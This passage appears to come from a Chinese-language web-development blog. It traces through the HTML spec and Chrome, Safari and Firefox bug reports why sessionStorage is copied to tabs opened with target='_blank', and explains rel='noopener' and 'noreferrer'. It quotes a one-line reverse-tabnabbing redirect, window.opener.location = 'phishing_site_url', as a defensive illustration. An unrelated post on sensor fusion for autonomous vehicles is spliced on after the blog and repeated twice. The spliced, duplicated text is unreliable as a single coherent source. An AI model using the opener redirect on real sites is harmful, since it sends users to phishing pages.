所以呢,現在問題就被重新定義了。
原本我們好奇的是「sessionStorage 什麼時候會被複製」,得到的答案是:「建立 auxiliary browsing context 的時候」,因此現在好奇的問題轉成:「什麼時候會建立 auxiliary browsing context?」
再者,從結果看來,開頭的範例中是透過 a link 外連一個網站達成的,因此可以猜測答案可能就在 link 的 spec 當中。
Links 相關的 spec 在這裡:https://html.spec.whatwg.org/multipage/links.html
先來看一下 link 的定義:
Links are a conceptual construct, created by a, area, form, and link elements, that represent a connection between two resources, one of which is the current Document. There are two kinds of links in HTML:
有四種 elements 可以 create link:<a>
、<area>
、<form>
還有<link>
,其中<area>
這個我還是第一次聽到。
接著文件中定義了連結有兩種,第一種是:Links to external resources
These are links to resources that are to be used to augment the current document, generally automatically processed by the user agent. All external resource links have a fetch and process the linked resource algorithm which describes how the resource is obtained.
可以先簡單想成就是你用 <link>
這個 element 時會用的東西,例如說 CSS 就是一種 external resources,再來第二種是 Hyperlinks:
These are links to other resources that are generally exposed to the user by the user agent so that the user can cause the user agent to navigate to those resources, e.g. to visit them in a browser or download them.
就是我們所熟知的超連結,指引瀏覽器(user agent)前往其他資源。
再來我們持續往下看,可以看到 4.6.4 Following hyperlinks 有提到說當使用者按下超連結以後,瀏覽器應該要做什麼:
重點是第六步跟第七步:
6.Let noopener be the result of getting an element's noopener with subject and targetAttributeValue.
7.Let target and windowType be the result of applying the rules for choosing a browsing context given targetAttributeValue, source, and noopener.
這邊會透過在 spec 上面的流程決定 noopener
的值:
我們一開始的範例符合第二種情況,沒有 opener 屬性,而且 target 是 _blank
,所以 noopener 會是 true。
再來我們看第七步,他有一個 the rules for choosing a browsing context 可以點,點下去之後就又回到了 browsing context 的 spec。
在選擇 browsering context 的時候會有一些流程,去判斷應該要選擇哪一個。我們想要找的情況(name 是 _blank
)都不符合前面的狀況,所以會直接到第八步:
Otherwise, a new browsing context is being requested, and what happens depends on the user agent's configuration and abilities — it is determined by the rules given for the first applicable option from the following list:
接著下面又有幾條規則,來決定最後應該要做出怎樣的行為,而我們的範例會是這一條規則:
從流程中可以看出來,在第三個步驟中判斷 noopener 是不是 true,是的話就建立一個新的 top-level browsing context,不是的話就建一個 auxiliary browsing context。
這樣看下來,整個流程都清楚了,只要我們進到這邊而且 noopener 是 false,就會建立一個 auxiliary browsing context,進而把 sessionStorage 複製過去。
等等...可是我們的 noopener 不是 true 嗎?在上面決定 noopener 的值的時候,根據我們的狀況,spec 很明顯是 true,那就應該會建立一個新的 top-level browsing context,sessionStorage 也不會被複製過去。
難道我看漏了什麼?
原本自信滿滿想寫這篇文章,結果寫一寫的時候就發現到上面的狀況:「咦,怎麼實際的行為跟 spec 對不起來?」,一直覺得自己看漏了什麼,就又再檢查了幾遍,發現沒錯啊,noopener 的確是 true 才對,那應該就不會建立 auxiliary browsing context 了,sessionStorage 也不應該被複製。
可是在 Chrome 上觀察到的就不是這樣,於是我突然想到了一個可能性,那就是 Chrome 沒有照著 spec 做。這邊要特別留意一件事,那就是我們看的 spec 是最新的 spec,但通常瀏覽器都不會跟到這麼新,再加上有些東西可能是 breaking changes,就會更緩慢一點。
因此我猜測是 spec 有改過,Chrome 所遵照的是以前的行為。有了這個猜測之後,就去搜相關的字眼,真的讓我找到了一個 commit:Make target=_blank imply noopener; support opener。
這是 2019 年 2 月 7 號的一個 commit,在 diff 中可以看到這段改動:
在舊的 spec 中,如果 noopener 或是 noreferrer 屬性是 true 才會讓 noopener 是 true,否則就都是 false。
所以我們開頭觀測到的行為是符合舊的 spec 的,我們用 a 連結新開了一個分頁,沒有設置 noopener 跟 noreferrer,所以新開的分頁建立了一個 auxiliary browsing context,sessionStorage 就跟著被複製過去了。
寫到這邊,我們終於得到了一個合理而且權威的解釋,再來只剩下最後幾個問題要處理了:
noopener 跟 noreferrer 是什麼?為什麼 spec 要做這個改動?
我最早看到這兩個屬性是在 2016 年 5 月,沒記錯的話應該是從這篇臉書貼文中看到的,那時候我好像還有跟同事分享這個東西,因為覺得這招滿帥的。
想知道問題是什麼,可以直接看這篇文章:About rel=noopener, what problems does it solve?。
簡單來說呢,當你從網站 A 使用 <a target="_blank">
連結到網站 B 的時候,網站 B 可以拿到 window.opener
,這就等於是網站 A 的 window
,因此我只要在網站 B 執行 window.opener.location = 'phishing_site_url'
,就可以把網站 A 導到其他地方,如果導去的地方是刻意設置的釣魚網站,那使用者就很有可能中招,因為他根本沒有預期到點了連結之後,網站 A 會跳去其他地方。
而解法呢,就是加上 rel="noopener"
這個屬性。
另外一個屬性 noreferrer 則是跟 Referer 這個 HTTP request header 有關,例如說我從網站 A 連到網站 B,網站 B 的 Referer
就會是網站的 A 的 URL,所以它會知道你從哪邊來的。
而帶上了這個屬性就是告訴瀏覽器說:「不要幫我帶 Referer 這個 header」。
接著我們回到 spec,看一下 spec 怎麼說。
4.6.6.13 Link type "noopener":
The keyword indicates that any newly created top-level browsing context which results from following the hyperlink will not be an auxiliary browsing context. E.g., its window.opener attribute will be null.
4.6.6.14 Link type "noreferrer":
It indicates that no referrer information is to be leaked when following the link and also implies the noopener keyword behavior under the same conditions.
這邊的定義是「no referrer information is to be leaked」,而這個 referrer information 除了我上面講的 Referer header 之外,其實也包含了其他相關的資訊,不過實際上到底還有什麼,就要去看其他 spec 或是瀏覽器的相關實作了。
然後還有一點要注意的是:「also implies the noopener keyword」,所以用了 noreferrer 之後就蘊含著 noopener 的效果了。
有在寫 React 並且使用 eslint 的朋友們應該都看過一條規則,那就是在用 a link 而且 target 是 _blank
的時候,必須要搭配使用 rel="noreferrer noopener"
,這個規則其實已經被改掉了,現在只要求放上 noreferrer
就好,原因就是我上面講的。
想看更多細節可以看這個 issue:target=_blank rel=noreferrer implies noopener,原本怕一些舊的 browser 會出問題所以沒有要改,後來是有人提供了一堆瀏覽器的測試資料,確認沒問題之後才改的。
讓我們把主題再拉回 opener 這個問題,當初這個問題被揭露之後我記得受到滿大的關注,在 spec 的 repo 上也可以找到一大堆相關的討論,其實很多人都滿驚訝原來預設的行為是這樣。
相關的討論可以看這一串:Windows opened via a target=_blank should not have an opener by default 還有這個 PR:Make target=_blank imply noopener; support opener。
總之呢,後來 Safari 跟 Firefox 都針對這點做出改動,使用 target=_blank
,預設的 opener 就會是 noopener。
那 Chrome 呢?抱歉,還沒。可以參考:Issue 898942: Anchor target=_blank should imply rel=noopener。
繞了一大圈,看了一大堆 spec 跟 bug tracker 之後,最後我們回到一開始的主題:sessionStorage。
在 spec 裡面說了,如果建立的是 auxiliary browsing context 就會把 sessionSotrage 複製過去。而如果我們加上了 rel="noopener"
,就不會有這個行為。
所以這就是開頭問題的正解:「加上 rel="noopener"
」。
可是我開頭已經講過了,我試過這些都沒有用,這是為什麼呢?這是因為 Chrome 還沒支援這個行為:Issue 771959: Do not copy sessionStorage when a window is created with noopener,而 Safari 雖然說 target=_blank
會蘊含 rel="noopener"
,但是也沒有支援 noopener
不會複製 sessionStorage。
唯一符合最新標準的是 Firefox,你加上 rel="noopener"
,就真的不會把 sessionStorage 一起帶過去了。
由於這些都是瀏覽器還沒修正的行為,所以我們在開發的時候也無能為力。就現階段來說,在 Chrome 跟 Safari 上面,用 <a target="_blank">
開啟同個 origin 下的新分頁,就是會把 sessionStorage 複製一份過去。
再提醒最後一個小細節,「點擊連結」跟「右鍵 -> 開新分頁」的行為是不同的。前者會把 sessionStorage 複製過去,但後者不會。因為瀏覽器(至少是 Chrome 跟 Safari)認為「右鍵 -> 開新分頁」就像是你新開一個 tab,然後把網址複製貼上,而不是直接從現有的分頁連過去,所以不會幫你複製 sessionStorage。
再次附上開頭的 demo,你自己試試看就知道了:https://aszx87410.github.io/demo/session_storage/index.html
相關討論可以看:Issue 165452: sessionStorage variables not being copied to new tab。
以 sessionStorage 為起點向外延伸,我們探索到了很多新的東西,而且連結到了我幾年前看到的 noopener 安全性的文章,也連結到了之前寫 code 時碰到的 eslint warning,如果還想再繼續連結,甚至也可以連到 Chrome 最近對 Referer 做出的改動。所以儘管只是一個看起來很小的知識點,背後都蘊含著一整張超大的知識圖譜。
在發現 spec 跟實作不一樣的時候,我瞬間體會到了「盡信書不如無書」的感覺,我原本一直都以為 spec 就是唯一的權威,卻忽略了 spec 會不斷變動、更新,但實作不一定會跟上的這個事實。還有一點,那就是瀏覽器的實作有時候會因為一些考量,不會完全跟著 spec 走,這一點也是往後需要特別注意的。
經歷過這麼一段旅程之後,對 sessionStorage 的理解又更深入了一些。以後有機會的話把 HTML 的 spec 都翻一翻好了,應該能看到更多有趣的東西。
感謝 @bcjohnblue 留言提醒,Chrome 在 88 版加入了 target="_blank"
蘊含 rel="noopener"
的行為,在 89 版修正了 noopener 應該另外開一個 sessionStorage 的 bug,詳情可以參考底下連結:
參考資料:
繼上次簡單討論了 自駕車的 software stack 之後,今天想來討論從 sensor 收到 data,到 perception module 要使用這些 data 之間,一個很重要的功能 - Sensor Fusion,把各種 sensor 的 data 整合起來,形成更好用的 data。
簡單舉個例子,lidar data 是沒有顏色資訊的 3D point cloud,camera data 是有顏色的 2D image,單純把這兩者結合起來,就會變成有 RGB 色彩資訊的 3D RGB-D point cloud。
在 perception 的應用(汽車行人辨識、紅綠燈辨識、移動物體 tracking、防碰撞等等)中,主要用到的 sensor 有三種 - Camera, Lidar 跟 Radar。大家應該都大概知道這些 sensor 是什麼,所以我就稍稍講一點各 sensor 的特色。
Camera:應該不用多說,是唯一有提供色彩資訊的 sensor,舉凡辨識紅綠燈、汽車方向燈、各種路標等等,都一定要用到 camera。camera 的缺點是,資料量很大,不管是 30 fps 或 60 fps,加上一台車上會有多個 camera,需要處理的資料量其實不小。
Lidar:lidar 主要的功能就是獲取精準的深度資訊,這對於精準判斷各種距離非常重要,尤其是在小巷子、或是遇到併排停車需要繞過去但也要避免對向來車時,幾十公分的誤差可能就會產生擦撞。
Radar:radar 最大的特色是可以看得很遠(Long-range 的可以看到 200 公尺以上),而且收到的資料最不會受下雨、下雪、起霧等壞天氣的影響, 所以 radar 像是 sensor 中的安全網。
了解我們有上面這幾種 sensor 跟這些 sensor 的特色後,就可以知道一個重要的事實:這些 sensor 的資料可以互補。而且在多年的研究努力後,使用 sensor fusion 確實能產生更 robust、更精準的 data,而不是反而產生混亂的資料。這其實不是一件簡單的事,因為各種 sensor 收資料的頻率可能不同、各 sensor 的誤差可能也不同、各 sensor 資料的座標軸原點也不同、自駕車開一開可能有某 sensor 掛掉或被鳥屎打到...等等挑戰。
3D object detection 應該是最重要的應用之一,因為要辨識行人、汽車、腳踏車、機車甚至是路上可能會有的各種其他東西,有一種做法是,先把 lidar 跟 camera 合起來產生有 RGB 資訊的 point cloud,再從 point cloud 中去辨識物體。
另一種方法,則是先取出 image 跟 point cloud 的 feature,再從這些 feature 中直接取出想要的資訊,下面的架構圖是延伸閱讀 2 的 PointFusion 架構:
自駕車要能安全行駛,絕對要能夠偵測有哪些物體在移動、追蹤這些移動物體,後續才能讓 prediction module 預測這些移動物體的軌跡,這還是一個很活躍的研究領域,有興趣的讀者可以去看看延伸閱讀 3 的 paper,然後可以看哪些 paper 引用它,追到更新的 paper。下面放一張延伸閱讀 3 paper 提出的架構圖:
可以看到裡面使用了 lidar, camera 跟 radar。
Grid mapping 是一種抽象化 data 的方式,直接看下圖:
用這種表示方法,navigation 的路徑規劃可以先專注在 2D 的路徑上,而不用去管 3D 的各種資訊。如果對這應用很有興趣,可以去看看延伸閱讀 4。
今天簡單地介紹了 sensor fusion,也講到了重要的應用,雖然今天只討論了 perception 裡面需要用到的概念,但 sensor fusion 的應用不僅於此,例如我們可以結合 Lidar、GPS 跟 IMU 來定位自駕車的位置,不過今天就只討論比較視覺上的應用,之後有機會再跟大家討論不同的主題,或深入討論某些有趣的 paper!
繼上次簡單討論了 自駕車的 software stack 之後,今天想來討論從 sensor 收到 data,到 perception module 要使用這些 data 之間,一個很重要的功能 - Sensor Fusion,把各種 sensor 的 data 整合起來,形成更好用的 data。
簡單舉個例子,lidar data 是沒有顏色資訊的 3D point cloud,camera data 是有顏色的 2D image,單純把這兩者結合起來,就會變成有 RGB 色彩資訊的 3D RGB-D point cloud。
在 perception 的應用(汽車行人辨識、紅綠燈辨識、移動物體 tracking、防碰撞等等)中,主要用到的 sensor 有三種 - Camera, Lidar 跟 Radar。大家應該都大概知道這些 sensor 是什麼,所以我就稍稍講一點各 sensor 的特色。
Camera:應該不用多說,是唯一有提供色彩資訊的 sensor,舉凡辨識紅綠燈、汽車方向燈、各種路標等等,都一定要用到 camera。camera 的缺點是,資料量很大,不管是 30 fps 或 60 fps,加上一台車上會有多個 camera,需要處理的資料量其實不小。
Lidar:lidar 主要的功能就是獲取精準的深度資訊,這對於精準判斷各種距離非常重要,尤其是在小巷子、或是遇到併排停車需要繞過去但也要避免對向來車時,幾十公分的誤差可能就會產生擦撞。
Radar:radar 最大的特色是可以看得很遠(Long-range 的可以看到 200 公尺以上),而且收到的資料最不會受下雨、下雪、起霧等壞天氣的影響, 所以 radar 像是 sensor 中的安全網。
了解我們有上面這幾種 sensor 跟這些 sensor 的特色後,就可以知道一個重要的事實:這些 sensor 的資料可以互補。而且在多年的研究努力後,使用 sensor fusion 確實能產生更 robust、更精準的 data,而不是反而產生混亂的資料。這其實不是一件簡單的事,因為各種 sensor 收資料的頻率可能不同、各 sensor 的誤差可能也不同、各 sensor 資料的座標軸原點也不同、自駕車開一開可能有某 sensor 掛掉或被鳥屎打到...等等挑戰。
3D object detection 應該是最重要的應用之一,因為要辨識行人、汽車、腳踏車、機車甚至是路上可能會有的各種其他東西,有一種做法是,先把 lidar 跟 camera 合起來產生有 RGB 資訊的 point cloud,再從 point cloud 中去辨識物體。
另一種方法,則是先取出 image 跟 point cloud 的 feature,再從這些 feature 中直接取出想要的資訊,下面的架構圖是延伸閱讀 2 的 PointFusion 架構:
自駕車要能安全行駛,絕對要能夠偵測有哪些物體在移動、追蹤這些移動物體,後續才能讓 prediction module 預測這些移動物體的軌跡,這還是一個很活躍的研究領域,有興趣的讀者可以去看看延伸閱讀 3 的 paper,然後可以看哪些 paper 引用它,追到更新的 paper。下面放一張延伸閱讀 3 paper 提出的架構圖:
可以看到裡面使用了 lidar, camera 跟 radar。
Grid mapping 是一種抽象化 data 的方式,直接看下圖:
用這種表示方法,navigation 的路徑規劃可以先專注在 2D 的路徑上,而不用去管 3D 的各種資訊。如果對這應用很有興趣,可以去看看延伸閱讀 4。
今天簡單地介紹了 sensor fusion,也講到了重要的應用,雖然今天只討論了 perception 裡面需要用到的概念,但 sensor fusion 的應用不僅於此,例如我們可以結合 Lidar、GPS 跟 IMU 來定位自駕車的位置,不過今天就只討論比較視覺上的應用,之後有機會再跟大家討論不同的主題,或深入討論某些有趣的 paper!